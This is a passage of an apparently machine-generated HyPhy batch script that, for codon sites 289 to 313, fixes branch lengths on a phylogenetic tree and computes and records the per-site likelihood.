ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "289\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 290...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "867,868,869", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 290");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "290\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 291...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "870,871,872", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 291");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "291\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 292...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "873,874,875", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 292");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "292\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 293...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "876,877,878", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 293");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "293\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 294...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "879,880,881", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 294");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "294\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 295...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "882,883,884", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 295");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "295\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 296...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "885,886,887", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 296");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "296\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 297...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "888,889,890", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 297");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "297\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 298...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "891,892,893", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 298");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "298\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 299...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "894,895,896", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 299");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "299\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 300...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "897,898,899", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 300");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "300\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 301...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "900,901,902", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 301");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "301\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 302...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "903,904,905", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 302");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "302\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 303...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "906,907,908", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 303");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "303\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 304...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "909,910,911", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 304");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "304\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 305...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "912,913,914", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 305");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "305\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 306...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "915,916,917", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 306");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "306\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 307...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "918,919,920", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 307");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "307\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 308...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "921,922,923", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 308");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "308\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 309...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "924,925,926", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 309");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "309\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 310...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "927,928,929", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 310");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "310\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 311...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "930,931,932", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 311");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "311\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 312...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "933,934,935", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 312");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "312\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 313...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "936,937,938", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 313");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
